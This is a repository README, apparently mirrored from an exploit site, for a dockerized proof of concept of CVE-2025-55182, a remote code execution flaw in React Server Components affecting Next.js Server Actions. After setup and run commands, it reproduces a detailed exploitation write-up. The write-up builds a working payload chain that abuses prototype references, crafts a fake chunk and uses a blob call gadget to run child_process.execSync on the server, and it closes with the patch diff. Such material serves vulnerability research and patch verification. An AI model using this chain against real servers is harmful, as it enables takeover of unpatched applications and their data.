Share
## https://sploitus.com/exploit?id=160CB49F-3A19-5F23-BA7C-280712E3B88D
# CVE-2025-55182 - Dockerized Proof of Concept

This repository contains a dockerized proof of concept for CVE-2025-55182, a critical remote code execution vulnerability in React Server Components (RSC) that affects Next.js applications using Server Actions.

## Credits

The original proof of concept and vulnerability analysis was created by [msanft](https://github.com/msanft). This repository extends their work by providing a dockerized test environment for easier testing and demonstration.

## Quick Start

### Prerequisites

- Docker installed and running
- Python 3 with `requests` library (`pip install requests`)

### Running the Exploit

1. **Start the vulnerable Next.js server:**
   ```bash
   docker compose up --build -d
   ```

2. **Wait for the server to start** (check logs with `docker compose logs -f nextjs-server`)

3. **Run the exploit:**
   ```bash
   # Automated script (recommended)
   ./exploit-docker.sh
   
   # Or manually
   ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
   python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
   ```

4. **Verify the exploit worked:**
   ```bash
   docker compose exec nextjs-server ls -la /tmp/rce_test
   ```

### Example Commands

```bash
# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
```

## Important Notes

- โš ๏ธ **Timeout errors are EXPECTED** - they indicate the RCE executed successfully
- The server hangs after executing the command, which causes the HTTP timeout
- Commands execute as the `nextjs` user (UID 1001) inside the container
- Files are created inside the container's filesystem, not on the host

## Docker Setup

This repository includes a complete Docker setup for testing the vulnerability:

- **`docker-compose.yml`** - Docker Compose configuration
- **`test-server/`** - Vulnerable Next.js application
- **`test-server/Dockerfile`** - Production Dockerfile
- **`test-server/Dockerfile.dev`** - Development Dockerfile (optional)

The vulnerable server runs Next.js 16.0.6 with a simple Server Action that can be exploited.

## Files

- **`poc.py`** - Python proof of concept script (original by msanft, with quote escaping fixes)
- **`exploit-docker.sh`** - Automated exploit script for Docker environment
- **`DOCKER_SETUP.md`** - Comprehensive Docker setup documentation

## Clean Up

```bash
# Stop the container
docker compose down

# Remove everything (including volumes)
docker compose down -v
```

## Original Vulnerability Analysis

The detailed vulnerability analysis, exploitation chain, and patch information from the original research is provided below.

---

# Original Research by msanft

This vulnerability allows RCE in React Server Functions, e.g. as
offered by Next.js through insecure prototype references.

I'm not an expert in React or Next.js, so take all the information
here with a grain of salt. Furthermore, I'm still in the analysis
process, so what I depict below as "the vulnerability" might only
be a small part of the full chain.

## Background

React offers Server Functions[^1], which can be seen as sort of an RPC-
over-HTTP. They can be used to fetch data from adjacent peers to ensure
low latency, or perform authenticated requests that the client lacks
credentials for.

React uses something called the React Flight Protocol[^2] for serialization
of values passed to Server Functions.

The client passes "chunks" to the server, e.g. via form data:

```py
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}
```

As shown, these can have references in between each other.
The above payload deserializes to the following on the server:

```js
{ object: 'fruit', name: 'cherry' }
```

The format itself is a little more intricate and allows for more
complex serialization and deserialization, but this provides a
basic understanding for the actual vulnerability.

## Vulnerability

Until this commit[^3], when traversing chunks in reference resolving,
such as getting the `fruitName` from chunk 2 in the above example, React
didn't verify whether the requested key was actually set on the object.
This allowed us to get the object prototype[^4].

This can be demonstrated with a payload like this:

```py
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}
```

Which deserializes to the function constructor[^5]:

```js
[Function: Function]
```

When the chunk with ID 0 is not an array but an object, we can
set the `then` key to the function constructor. The object is then
returned by the `decodeReplyFromBusboy` function and awaited by Next.js:

```ts
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)
```

When this returns a thenable, the `await` in the caller will call it.
This is what happens with this payload:

```py
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}
```

Leading to this error:

```console-out
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] () {
      digest: '1259793845'
    }
```

The error looks like this since V8 calls an `await`ed function
with the internal `resolve` and `reject` functions, which, when
`toString`ed, serialize to something like this:

```js
function () { [native code] }
```

## Exploitation

Since we can trivially retrieve the `Function` constructor, the
straightforward way is to find a call gadget that invokes the
constructor with a user-controlled value (i.e., the code of the
function as a string), and later calls the returned function.

There are multiple places that can call the function constructor,
for example `resolveServerReference`, where `id` is a controlled object,
and `lastIndexOf` can be overwritten to return a user-controlled string
(e.g. via `Array.prototype.join`) and `slice` can be overwritten to the
function constructor. However, this place doesn't work as the second
invocation of `.slice()` supplies a number as the first argument,
which -to my best knowledge- can never be handled by the function
constructor.

Here, a brilliant idea from maple3142[^7] comes in. When `getChunk`
grabs the chunk at ID 0 as the root reference to start resolving the
reference chain, *this very same chunk* can resolve to a crafted
"fake chunk".

We can reference the crafted chunk 0 in chunk 1 by using the
`$@` syntax, which returns the "raw" chunk, not it's resolved value:

```js
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );
```

Combining this with our `then` overwrite from above, we can craft
something like this:

```py
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}
```

Here, chunk 0 overwrites its own `.then()` with the `.then()` of
its own raw chunk representation. Put simply, we overwrite our
own `.then()` with `Chunk.prototype.then`, which exists, since
`Chunk`s are thenables:

```js
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...
```

With the above payload, `Chunk.prototype.then` is eventually called
with the crafted chunk with ID 0.

As shown above, when `.status` on our fake chunk is `resolved_model`:

```py
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}
```

We get into `initializeModelChunk`. Here, `.value` is parsed as JSON,
and then references are resolved on the returned object, using the "outer"
context of our chunks with IDs 0 and 1:

```js
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
```

Within this, we now get a second pass of evaluation with a little more
values we have access to due to the outer context already being resolved.

There is a call gadget in the handling of blob data with the `$B` prefix
in the flight protocol:

```js
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );
```

Using the special `_response` field, we control the `response` property
of the crafted chunk:

```js
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
```

With this, we can craft an object with fake `._formData` and `._prefix`
properties:

```py
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}
```

The `.reason` needs to be added to circumvent failing on the `toString`
invocation in `initializeModelChunk:

```js
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
```

By pointing `._formData` to the function constructor, and `._prefix` to
our code, we get an invocation gadget for the function constructor in
the blob deserialization:

```js
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
```

Our crafted function is then returned by `parseModelString` as the
`.then()` method of the crafted chunk, which is also awaited, since
all of this takes place in a single promise resolving chain. Thus,
returning a thenable, our crafted function gets called. This constitutes
the required call gadget referenced above.

Putting this all together with an actual RCE payload, we get something
like this:

```py
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    # "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}
```

## Patch

Using the chunk references to retrieve prototype properties is
fixed with this check:

```diff
@@ -78,7 +80,10 @@ export function preloadModule(
 
 export function requireModule(metadata: ClientReference): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }
```

## Standing questions

- Why does the React advisory[^6] mention that this vulnerability could be
  triggered even without actively declaring server functions? Are there
  other things that turn to server functions under the hood?

[^1]: 
[^2]: 
[^3]: 
[^4]: 
[^5]: 
[^6]: 
[^7]: